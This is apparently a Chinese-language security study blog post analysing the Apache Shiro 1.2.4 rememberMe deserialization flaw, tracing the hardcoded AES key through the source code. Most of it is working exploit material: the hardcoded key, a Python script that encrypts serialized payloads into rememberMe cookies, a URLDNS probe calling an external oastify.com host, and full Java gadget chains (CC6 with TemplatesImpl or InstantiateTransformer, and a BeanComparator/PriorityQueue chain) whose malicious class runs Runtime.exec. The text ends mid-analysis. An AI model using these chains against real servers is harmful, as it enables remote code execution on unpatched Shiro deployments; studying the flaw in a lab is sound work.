🌸 环境配置
代码下载地址:https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
下载完成之后,需要修改一下pom
文件:
修改一下红色框中的配置。然后配置一下tomcat
:
点击部署,然后点击“➕”,点击“工作”:
选择红色框中的web
,然后点击应用,确定即可。配置完成之后,点击debug
,出现下面的界面:
🌸 利用版本
shiro <= 1.2.4
🌸 漏洞原理
首先我们先看看web
界面:
在登陆的时候,可以发现存在一个remember me
的功能,就是相当于后续登陆的免密登陆操作!
勾选这个remember me
功能,尝试登陆,然后抓取数据包!
可以看到,当登陆的时候,返回的数据包存在一个Set-Cookie
字段,里面存在一个remember
字段,整个内容是比较长的!
然后看到后续的请求数据包中,都会携带这个cookie
!
这个Cookie
其实就是身份凭证信息,正常来说Cookie
都是比较短的,当比较长的时候,一般都是存在一些身份凭证的信息。
接下来尝试在源码中去找rememberme
相关的类:
大概就找到了上面的几个相关的类!CookieRememberMeManager
肯定是和Cookie
中的Remember Me
相关的类了!先看看这个类:
在这个类中找到了一个getRememberedSerializedIdentity
的方法,看名字似乎就是获取已经“记住的、序列化的实体/身份”。
在这个方法中,进行了base64
解码!(确实我们在burpsuite
中看到RememberMe
的值,确实像是base64
编码的),接下来我们尝试看看谁调用了这个方法!因为base64
解码之后肯定还有后续的操作!
于是我们在AbstractRememberMeManager
类中的getRememberedPrincipals
方法中找到了调用!
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {PrincipalCollection principals = null;try {byte[] bytes = getRememberedSerializedIdentity(subjectContext);//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:if (bytes != null && bytes.length > 0) {principals = convertBytesToPrincipals(bytes, subjectContext);}} catch (RuntimeException re) {principals = onRememberedPrincipalFailure(re, subjectContext);}return principals;
}
这个方法的含义大概就是“获取已经记住的身份”。首先就是调用了getRememberedSerializedIdentity
方法,来进行base64
解码,获取到解码后的数据,然后经过了if条件,又调用了convertBytesToPrincipals
方法!尝试跟进到这个方法!
在这个方法中,我们可以发现这个方法中先去调用了getCipherService
方法,过if条件之后,调用了decrypt
方法,进行了解密!最后return
反序列化的结果!
到这里的话,整个过程似乎也就清晰了!先进行了base64
解码,然后进行解密,最后进行反序列化操作。
跟进到decrypt方法中进行查看:
protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}
发现该方法中,调用了getCipherService()
方法,从方法的名字上来看,似乎这就是一个加密服务。跟进这个方法看一下:
似乎也没什么具体的代码,返回了一个cipherService
。
看起来就是一个加密的服务,后面通过if条件之后,又再次调用了decrypt
方法,这一次中有了实参。一个是加密的字符串,第二个参数是方法getDecryptionCipherKey
,看名字也是比较清晰,就是获取了解密的密钥!跟进到这个方法中进行查看!
猜的没错就是获取了加密的密钥,在这个方法的前后发现了set
方法:
下面的这个方法是设置加密密钥!所以我们可以看看谁调用过,并且传递了key
!
于是我们便找到了这个方法!源码如下:
public void setCipherKey(byte[] cipherKey) {//Since this method should only be used in symmetric ciphers//(where the enc and dec keys are the same), set it on both:setEncryptionCipherKey(cipherKey);setDecryptionCipherKey(cipherKey);
}
通过这个setCipherKey
方法,设置了加密和解密的密钥!密钥是一样的,所以采用的就是对称加密。继续向上找看看谁调用过这个方法!
发现在AbstractRememberMeManager
类中的构造器,初始化调用了这个方法!并且传递的参数是一个常量!跟进到定义处!(同时上面的AesCipherService
方法,也提示了我们采用的加密方式是AES
加密)
在定义处,发现AES
加解密的密钥居然被固定了。这便是整个漏洞的根本原因所在!
再次回顾shiro550
漏洞的原理,便是AES
加密的key
被硬编码在了源码中!所以攻击者可以构造一个序列化的字符串,然后经过AES
加密,base64
编码,最终将payload
作为Cookie
中的rememberme
字段的参数值,发送到服务器,当服务器收到payload
的时候,服务器便会进行base64
解码,AES
解码,最后将其进行反序列化操作,从而执行了命令执行!
🌸 URLDNS链利用
既然上面已经是对整个过程比较清晰了,所以我们就可以先利用URLDNS
链进行分析利用!直接将URLDNS
链的payload
拿过来尝试利用:
package org.y4y17;import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();URL url = new URL("http://hvglmw9fk7epzqg930hrcvogs7y0m5au.oastify.com");//绕过put时,hashCode=-1,此时需要通过反射去改变hashCode的参数值不为-1,然后再putClass urlClass = URL.class;Field hashCode = urlClass.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,1);//上面已经通过反射机制将url的hashCode设置为1,避免了在put的时候就发生DNS请求hashMap.put(url,1);System.out.println(url.hashCode());//put完之后,还需要将hashCode改回-1hashCode.set(url,-1);//然后进行序列化操作serialization(hashMap);//序列化完成之后,再进行反序列化操作
// deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("urldns.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("urldns.ser"));objectInputStream.readObject();objectInputStream.close();}
}
序列化生成文件之后,尝试编写base64
和AES
加密,从而生成payload
!
import base64
import uuid
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytesdef get_file_data(filename):with open(filename,'rb') as file:data = file.read()return datadef aes_encrypt_data(data,key):BS = AES.block_sizepad = lambda s :s+((BS - len(s) % BS ) * chr(BS - len(s) % BS)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytescipher = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv+cipher.encrypt(pad(data)))return ciphertext# Example usage
if __name__ == "__main__":key = "kPH+bIxk5D2deZiIxcaaaA==" # Generate a random 16-byte AES keyfile_path = "urldns.ser" # Replace with your file path data = get_file_data(filename=file_path)payload = aes_encrypt_data(data=data,key=key)print(payload)
利用Burpsuite
平台进行测试DNS
请求:
生成序列化文件之后,然后利用python
读取序列化文件生成payload
即可:
生成payload
,然后替换掉rememberme
的参数值!(这里需要注意的是,也需要将JSESSIONID
删掉,他是一个身份凭证的验证信息。)
之后改成我们的payload
,重放数据包!
BurpSuite
收到了DNS
请求。
🌸 RCE
🍂 cc6+TemplatesImpl
需要注意的是:shiro
原生是没cc
依赖的! 所以整个cc
链子就打不了!
既然上面已经通过URLDNS
链,证明了整个链子的可行性。但是我们还是想着能够真正的RCE
,所以,我们进行尝试!首先就是打什么👖的问题,可以看到整个项目中虽然是有cc
依赖的!但是其实是打不了的!
具体原因是:maven
在编译和运行的时候,只会将complie
打进包里面,而test
是不会打进来的,所以理论上来说用cc
的打shiro
是打不了的,只能打cb
(这里后续再看这个。)
这里可以用一个插件去分析,暂时没用。主要是看的组长的视频进行学习。
所以本地测试的话,就需要在pom
文件中添加cc
的依赖:
正常大家都是添加的cc4
的依赖,因为在利用的时候cc2
链子是可以使用的,所以可以添加cc4
的依赖,这并不代表着cc3
的依赖就打不了。
所以这里还是先添加了cc3
的依赖。进行尝试。把前面的cc6
链子的exp
拿过来尝试利用:
public class cc6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove("aaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialization(map2);
// unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}
首先还是正常的序列化生成文件,然后利用上面的python
来生成exp
:
依然是通过抓包来替换掉rememberme
的参数值!
这里会发现修改了payload
,之后,并没有成功弹窗!同时还报错了:
报错的含义是无法加载类:org.apache.commons.collections.functors.InvokerTransformer
这里看到报错的第一行,我们尝试进入到DefaultSerializer.java
类中看一下:
而是shiro自己常见的一个类,跟进到ClassResolvingObjectInputStream.java
类中(该类继承了ObjectInput Stream
类)
在这个类中重写了resolveClass
方法:
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException e) {throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);}
}
resolveClass
是反序列化中用来查找类的方法,在读取序列化流的时候,读取到一个字符串形式的类名,需要通过这个方法来找到对应的Class
对象。该类是通过ClassUtils
的forname
方法来处理的。
我们对比一下ObjectInputStream
类中的resolveClass
方法!
可以看到一个是通过Class
的forname
方法进行类加载,一个是通过ClassUtils
进行类加载。
继续跟进到ClassUtils
的forname
方法中进行查看!发现他的整个流程是先进行一次加载,如果不存在
(总结一下就是用不了Transformer数组了!)
这里就需要改写一下payload
,不能使用数组了。这里采用的是cc6+templatesImpl
,进行利用。因为我们如果采用的是调用getRuntime
的exec
方法的话,就必须使用数组,这类似于cc1
等:
package org.y4y17;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {//由于ChainedTransformer类中构造器需要传递的参数是Transformer数组,因此创建一个Transformer数组,将上面的三个InvokerTransformer放进去Transformer[] transformers = new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);// 的transform方法}
}
在cc1
中我们不得不采用transformers
数组来递归的执行,直到最后去执行exec
方法!因为在cc6
中我们可以通过HashMap
控制传递的参数,所以可以采用cc6
的前面的半条链子,再加上TemplatesImpl
链来形成最终的利用链。
这里的代码就直接把TemplatesImpl
的链子拿来。后面利用HashMap
来控制。也就是cc6
的链子:
静态调试一下代码,我们想要通过HashMap
的readObject
开始调用:
然后调用hash(key)
方法!
然后调用了key.hashCode()
方法,这里的key
就是TiedMapEntry
的hashCode
方法,所以HashMap里面需要存放的key
就是TiedMapEntry
。然后继续跟进:
TiedMapEntry
里面的map
就是LazyMap
,key
的话就是TemplatesImpl
这里就跟进到了LazyMap
的get
方法中!然后factory
就需要设置成invokertransformer
。然后执行了invokertransformer
的transform
方法:
由于我们传递的key
,其实也就是input
形参,是TemplatesImpl
。
同时TemplatesImpl
的newTransformer
方法,所以在new InvokerTransformer
方法的时候,传递的方法名就是newTransformer
方法,参数为空即可。
整个代码需要在getTransletInstance
方法中继续执行,继续跟进:
这里就需要满足_name
变量不可以为空,随便设置一个就好了。然后_class
变量需要为空!然后进入到defineTransletClasses
方法中进行加载:
private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}
在上述的代码中需要满足如下条件:
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;
}
所以我们的恶意类就需要继承父类:com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,因此这里就需要修改一下恶意类:
package org.y4y17;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class exec extends AbstractTranslet{static {try {Runtime.getRuntime().exec("open -a calculator");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
整个代码的分析其实就是TemplatesImpl
链的原理。
最后的poc
:
package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class shiro550_cc3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("exec2.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove(templates);Class<? extends Map> aClass = lazymap.getClass();Field factoryFiled = aClass.getDeclaredField("factory");factoryFiled.setAccessible(true);factoryFiled.set(lazymap,invokerTransformer);serialize(map2);
// unserialize("2.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));oos.writeObject(obj);oos.close();}//反序列化数据public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();ois.close();return obj;}
}
通过上述文件生成序列化文件,然后利用python
生成一个payload
:
替换掉rememberme
,再次发送数据包:
最终靶机弹出了计算器:
🍂 cc6+InstantiateTransformer
利用cc6+cc3
的中的InstantiateTransformer
也是可以进行利用的!
利用代码如下:
package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class shiro550_exp1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {//cc2TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("exec.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//cc3InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象//cc6Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,TrAXFilter.class); //需要修改一下key的值HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove(TrAXFilter.class); //需要修改keyClass<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,instantiateTransformer);// serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro2.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro2.bin"));objectInputStream.readObject();objectInputStream.close();}
}
整个代码变了就是将InvokerTransformer
换成了InstantiateTransformer
。
继续进行分析:
这是InstantiateTransformer
中的transform
方法!这里的input
我们设置为TrAXFilter
。从而就可以执行他的构造器,而InstantiateTransformer
便是通过输入一个类,获取到相关的构造器,来执行构造器!
那么这里的InstantiateTransformer
构造器初始化,就可以设置参数了!就是我们调用TrAXFilter
的那一个构造器!
很明显我们要执行的构造器是
public TrAXFilter(Templates templates) throwsTransformerConfigurationException
{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();
}
因此这里就比较清楚了!写一下InstantiateTransformer
:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template});
还有一个问题就是InstantiateTransformer
的transform
方法中的input
,需要是TrAXFilter
,往上看赋值的地方:
其实就是LazyMap
的get
方法中,key
就是TrAXFilter
,也就是TiedMapEntry
中的key
就是TrAXFilter
。其他的都是一样的了!
同样也是可以执行代码的!
🍂 commons-beanutils(这里当时看了思路自己写的,其实是错的)
正常来说是打commons-beanutils这个依赖。这个是shiro自带的依赖!
我们知道commons-collections是对集合类的增强,而commons-beanutils则是对java bean的增强!
所以我们就需要知道什么是java bean!
🦄 java-bean
创建bean的流程:
- 创建一个类,并且继承自java.io.Serializable接口。
- 定义bean的属性
- 为每一个属性创建一对访问器方法,一个用于设置值,一个用于获取值
- 确保遵循JavaBeans命名约定。
package org.y4y17.javaBean;import java.io.Serializable;public class PersonBean implements Serializable {private int age;private String name;public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}
}
其实理解下来就是为每一个属性都设置上 set和get方法!正常我们去访问里面的某一个属性的时候,就是通过get方法进行获取,而设置属性的值就是通过set方法了。
package org.y4y17.javaBean;public class Test {public static void main(String[] args) {PersonBean personBean = new PersonBean("Y4y17",22);System.out.println(personBean.getAge());System.out.println(personBean.getName());}
}
如上代码,我们去访问每一个属性的时候,就会比较麻烦。然而在commons-beanutils中,提供了动态访问的方法:
package org.y4y17.javaBean;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.InvocationTargetException;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {PersonBean personBean = new PersonBean("Y4y17",22);System.out.println(PropertyUtils.getProperty(personBean,"age"));System.out.println(PropertyUtils.getProperty(personBean,"name"));}
}
在commons-beanutils中提供的PropertyUtils.getProperty方法中,就可以通过传递参数:要获取属性的对象,属性名;来获取具体的值。
这里就是动态去调用了对应属性的get方法来获取具体的值。所以这里也就出现了动态的代码执行的地方,也就带来了一定的安全漏洞。
这里我们尝试调试一下看一下整个流程:
跟进到PropertyUtils.getProperty方法中,发现又调用了另一个对象的getProperty方法!继续向下跟进:
此时就跟进到了PropertyUtilsBean类中的getProperty方法中!这里就调用了一个getNestedProperty方法,该方法是用于获取嵌套的属性。
继续向下跟进:
然后判断是不是Map
和索引,如果是的话,就调用对应的获取属性的方法,否则的话就调用getSimpleProperty
方法。
所以我们获取的既不是Map也不是索引,所以说会调用getSimpleProperty
方法!
继续往下跟进,发现进入到了这个方法中!
继续往下走,发现他最终获取到了我们传递的这个age的set和get方法!同时还有一个baseName,值为Age,是大写的!这是javabean的命名格式,类似于驼峰命名,会把我们传进去的age,第一个字母转变为大写。
继续往下走:
通过readMethod方法获取到对应的method,可以看到readMethod的值也就是getAge!
继续往下:
就会反射调用。
这里就会对传递进去的对象调用一个符合javabean格式的方法。
然而到这里的话,就可以继续回到整个commons-beanutils中了,在TemplatesImpl类中存在一个getOutputProperties方法:
然而在这个方法中,调用了newTransformer方法!这就是我们之前cc3的链子,代码执行的一部分。所以我们是不是可以通过PropertyUtils.getProperty方法,来调用一个Templates对象的getOutputProperties方法呢!从而调用了newTransformer方法!
于是我们这里可以将cc3的后半段链子拿过来尝试:
package org.y4y17.javaBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {PersonBean personBean = new PersonBean("Y4y17",22);
// System.out.println(PropertyUtils.getProperty(personBean,"age"));
// System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);PropertyUtils.getProperty(templates,"outputProperties");}
}
这里需要设置一下_tfactory变量的参数值,以免报空指针错误。
这便可以成功的执行代码了!继续往上找,因为我们需要进行序列化!我们接下来就看看谁调用getProperty方法:
这里搜索到的调用点并不是很多,挨个看一下,刚好第一个调用如下:
在BeanComparator类中的compare方法中恰好调用了getProperty方法!
public int compare( Object o1, Object o2 ) {if ( property == null ) {// compare the actual objectsreturn comparator.compare( o1, o2 );}try {Object value1 = PropertyUtils.getProperty( o1, property );Object value2 = PropertyUtils.getProperty( o2, property );return comparator.compare( value1, value2 );}catch ( IllegalAccessException iae ) {throw new RuntimeException( "IllegalAccessException: " + iae.toString() );} catch ( InvocationTargetException ite ) {throw new RuntimeException( "InvocationTargetException: " + ite.toString() );}catch ( NoSuchMethodException nsme ) {throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );}
}
这里的o1 o2都是可控的!同时看一下构造器:
property也是可控的!
所以我们就可以尝试先继续完善代码:
package org.y4y17.javaBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanToPropertyValueTransformer;
import org.apache.commons.beanutils.PropertyUtils;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {
// PersonBean personBean = new PersonBean("Y4y17",22);
// System.out.println(PropertyUtils.getProperty(personBean,"age"));
// System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);BeanComparator beanComparator = new BeanComparator("outputProperties");beanComparator.compare(templates,null);}
}
这样还是可以正常的执行代码的!
继续找compare!(其实没继续往下看,就是因为当时在学cc链的时候,就有一个调用compare的地方!)当时是在cc4里面的优先队列中的存在着调用!
🦄 回顾 优先队列
在PriorityQueue类中的readObject方法中,曾调用了heapify方法
继续跟进到heapify()方法:
继续跟进到siftDown方法:
在跟进到siftDownUsingComparator方法中:
这里便看到了存在着compare方法的调用!到这里的话也就和上面的链子有链接起来了!comparator变量的值就是BearComparator对象!
所以我们可以直接创建一个优先队列,将其序列化和反序列化,来执行代码。这里通过第二个if里面的comparator.compare()
方法来调用到BearComparator对象中的compare()
方法!
同时还需要注意的是size的参数值不能是1或者0。因为他要右移1位。反射修改一下即可,队列里面存templates
。
最终poc:
package org.y4y17.javaBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanToPropertyValueTransformer;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, ClassNotFoundException {
// PersonBean personBean = new PersonBean("Y4y17",22);
// System.out.println(PropertyUtils.getProperty(personBean,"age"));
// System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec2.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);BeanComparator beanComparator = new BeanComparator("outputProperties");
// beanComparator.compare(templates,null);PriorityQueue priorityQueue = new PriorityQueue(beanComparator);priorityQueue.add(templates);Class<? extends PriorityQueue> aClass = priorityQueue.getClass();Field sizeFiled = aClass.getDeclaredField("size");sizeFiled.setAccessible(true);sizeFiled.set(priorityQueue,2);serialization(priorityQueue);
// deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro_cb.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro_cb.bin"));objectInputStream.readObject();objectInputStream.close();}
}
最后生成exp:
替换rememberme:
执行之后,也是成功的使得靶机弹出计算器!
🍂 commons-beanutils
现在来说为什么!上面的代码是错的(也不能说是错误的,更加规范的说法:上面的链子并不是commons-beanutils链)而是commons-collections+commons-collections链了(🐶)
因为在之前测试cc链子的时候,添加了cc的依赖。而上面的所谓的“commons-beanuitls”链利用的时候,其实用到了commons-collections依赖。
这里去掉cc的依赖之后,继续使用上面的代码生成序列化文件!在生成payload!进行尝试:
打了之后是没有反应的!看一下报错信息:
无法加载org.apache.commons.collections.comparators.ComparableComparator!正常来说我们使用的是cb,而报错说无法加载cc中的类!(看了组长的视频,说是cc和cb其实很多东西是一样的。)
这里就看一下哪里使用到ComparableComparator:
